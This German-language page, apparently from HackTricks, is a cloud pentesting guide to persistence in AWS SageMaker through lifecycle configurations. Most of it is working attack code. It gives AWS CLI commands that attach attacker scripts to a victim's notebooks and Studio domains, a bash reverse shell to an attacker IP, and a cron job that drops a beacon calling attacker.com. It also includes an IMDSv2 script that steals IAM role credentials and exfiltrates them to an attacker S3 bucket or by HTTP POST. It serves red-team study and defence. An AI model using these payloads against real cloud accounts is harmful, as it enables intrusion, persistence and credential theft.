# Aws Sagemaker Persistence {{#include ../../../banners/hacktricks-training.md}} ## Übersicht der Persistenztechniken Dieser Abschnitt beschreibt Methoden zur Erlangung von Persistenz in SageMaker durch den Missbrauch von Lifecycle Configurations (LCCs), einschließlich Reverse Shells, Cron-Jobs, Diebstahl von Anmeldeinformationen über IMDS und SSH-Backdoors. Diese Skripte werden mit der IAM-Rolle der Instanz ausgeführt und können über Neustarts hinweg bestehen bleiben. Die meisten Techniken erfordern ausgehenden Netzwerkzugang, aber die Nutzung von Diensten im AWS-Control-Plane kann dennoch Erfolg ermöglichen, wenn die Umgebung im 'VPC-only'-Modus ist. #### Hinweis: SageMaker-Notebook-Instanzen sind im Wesentlichen verwaltete EC2-Instanzen, die speziell für Machine-Learning-Workloads konfiguriert sind. ## Erforderliche Berechtigungen * Notebook-Instanzen: ``` sagemaker:CreateNotebookInstanceLifecycleConfig sagemaker:UpdateNotebookInstanceLifecycleConfig sagemaker:CreateNotebookInstance sagemaker:UpdateNotebookInstance ``` * Studio-Anwendungen: ``` sagemaker:CreateStudioLifecycleConfig sagemaker:UpdateStudioLifecycleConfig sagemaker:UpdateUserProfile sagemaker:UpdateSpace sagemaker:UpdateDomain ``` ## Lebenszykluskonfiguration für Notebook-Instanzen festlegen ### Beispiel AWS CLI-Befehle: ```bash # Create Lifecycle Configuration* aws sagemaker create-notebook-instance-lifecycle-config \ --notebook-instance-lifecycle-config-name attacker-lcc \ --on-start Content=$(base64 -w0 reverse_shell.sh) # Attach Lifecycle Configuration to Notebook Instance* aws sagemaker update-notebook-instance \ --notebook-instance-name victim-instance \ --lifecycle-config-name attacker-lcc ``` ## Lebenszykluskonfiguration in SageMaker Studio festlegen Lebenszykluskonfigurationen können auf verschiedenen Ebenen und für unterschiedliche App-Typen innerhalb von SageMaker Studio angehängt werden. ### Studio-Domain-Ebene (Alle Benutzer) ```bash # Create Studio Lifecycle Configuration* aws sagemaker create-studio-lifecycle-config \ --studio-lifecycle-config-name attacker-studio-lcc \ --studio-lifecycle-config-app-type JupyterServer \ --studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh) # Apply LCC to entire Studio Domain* aws sagemaker update-domain --domain-id --default-user-settings '{ "JupyterServerAppSettings": { "DefaultResourceSpec": {"LifecycleConfigArn": ""} } }' ``` ### Studio Space Level (Einzel- oder Gemeinschaftsräume) ```bash # Update SageMaker Studio Space to attach LCC* aws sagemaker update-space --domain-id --space-name --space-settings '{ "JupyterServerAppSettings": { "DefaultResourceSpec": {"LifecycleConfigArn": ""} } }' ``` ## Arten von Studio-Anwendungslebenszykluskonfigurationen Lebenszykluskonfigurationen können spezifisch auf verschiedene SageMaker Studio-Anwendungstypen angewendet werden: * JupyterServer: Führt Skripte während des Starts des Jupyter-Servers aus, ideal für Persistenzmechanismen wie Reverse Shells und Cron-Jobs. * KernelGateway: Wird während des Starts der Kernel-Gateway-App ausgeführt, nützlich für die Erstkonfiguration oder den dauerhaften Zugriff. * CodeEditor: Gilt für den Code-Editor (Code-OSS) und ermöglicht Skripte, die beim Start von Codebearbeitungssitzungen ausgeführt werden. ### Beispielbefehl für jeden Typ: ### JupyterServer ```bash aws sagemaker create-studio-lifecycle-config \ --studio-lifecycle-config-name attacker-jupyter-lcc \ --studio-lifecycle-config-app-type JupyterServer \ --studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh) ``` ### KernelGateway ```bash aws sagemaker create-studio-lifecycle-config \ --studio-lifecycle-config-name attacker-kernelgateway-lcc \ --studio-lifecycle-config-app-type KernelGateway \ --studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh) ``` ### CodeEditor ```bash aws sagemaker create-studio-lifecycle-config \ --studio-lifecycle-config-name attacker-codeeditor-lcc \ --studio-lifecycle-config-app-type CodeEditor \ --studio-lifecycle-config-content $(base64 -w0 editor_persist.sh) ``` ### Kritische Informationen: * Das Anfügen von LCCs auf Domain- oder Space-Ebene betrifft alle Benutzer oder Anwendungen im Geltungsbereich. * Erfordert höhere Berechtigungen (sagemaker:UpdateDomain, sagemaker:UpdateSpace), die typischerweise auf Space-Ebene machbarer sind als auf Domain-Ebene. * Netzwerkebenenkontrollen (z. B. strenge Egress-Filterung) können erfolgreiche Reverse Shells oder Datenexfiltration verhindern. ## Reverse Shell über Lifecycle-Konfiguration SageMaker Lifecycle-Konfigurationen (LCCs) führen benutzerdefinierte Skripte aus, wenn Notebook-Instanzen gestartet werden. Ein Angreifer mit Berechtigungen kann eine persistente Reverse Shell einrichten. ### Payload-Beispiel: ``` #!/bin/bash ATTACKER_IP="" ATTACKER_PORT="" nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 & ``` ## Cron Job Persistence über Lifecycle-Konfiguration Ein Angreifer kann Cron-Jobs durch LCC-Skripte injizieren, um die periodische Ausführung von bösartigen Skripten oder Befehlen sicherzustellen, was eine heimliche Persistenz ermöglicht. ### Payload-Beispiel: ``` #!/bin/bash PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py" CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH" CRON_JOB="*/30 * * * * $CRON_CMD" mkdir -p /home/ec2-user/SageMaker/.local_tasks echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH chmod +x $PAYLOAD_PATH (crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user - ``` ## Credential Exfiltration via IMDS (v1 & v2) Lifecycle-Konfigurationen können den Instance Metadata Service (IMDS) abfragen, um IAM-Anmeldeinformationen abzurufen und diese an einen von einem Angreifer kontrollierten Ort zu exfiltrieren. ### Payload Example: ```bash #!/bin/bash ATTACKER_BUCKET="s3://attacker-controlled-bucket" TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/) curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json # Exfiltrate via S3* aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json # Alternatively, exfiltrate via HTTP POST* curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload ``` {{#include ../../../banners/hacktricks-training.md}}